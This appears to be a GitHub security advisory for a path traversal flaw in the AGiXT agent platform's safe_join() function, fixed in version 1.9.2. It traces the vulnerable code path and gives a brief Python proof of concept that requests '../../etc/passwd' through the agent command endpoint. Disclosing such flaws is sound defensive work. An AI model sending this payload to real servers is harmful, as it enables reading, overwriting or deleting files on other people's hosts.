GitHub Advisoryadvisory · PyPI

GHSA-5gfj-64gh-mgmw AGiXT Vulnerable to Path Traversal in safe_join()

HIGH Published 2026-04-08 Modified 2026-04-09 Official page ↗
Aliases
CVE-2026-39981
Ecosystem
PyPI
Packages
agixt
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-22
Reviewed
2026-04-08

Affected packages

• PyPI agixt: < 1.9.2 → fixed in 1.9.2

Description

Summary The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. Details `agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink) ```python source command_args = command.command_args hop response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args) sink new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/"))) ``` PoC ```python tested on: agixt" headers = {"Authorization": f"Bearer {TOKEN}"} payload = { "command_name": "read_file", "command_args": { "filename": "../../etc/passwd" } } r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers) print(r.text) expected output: root:x:0:0:root:/root:/bin/bash ... ``` Impact Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Related

Alias · CVE (1)

  • CVE-2026-39981 AGiXT is a dynamic AI Agent Automation Platform. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References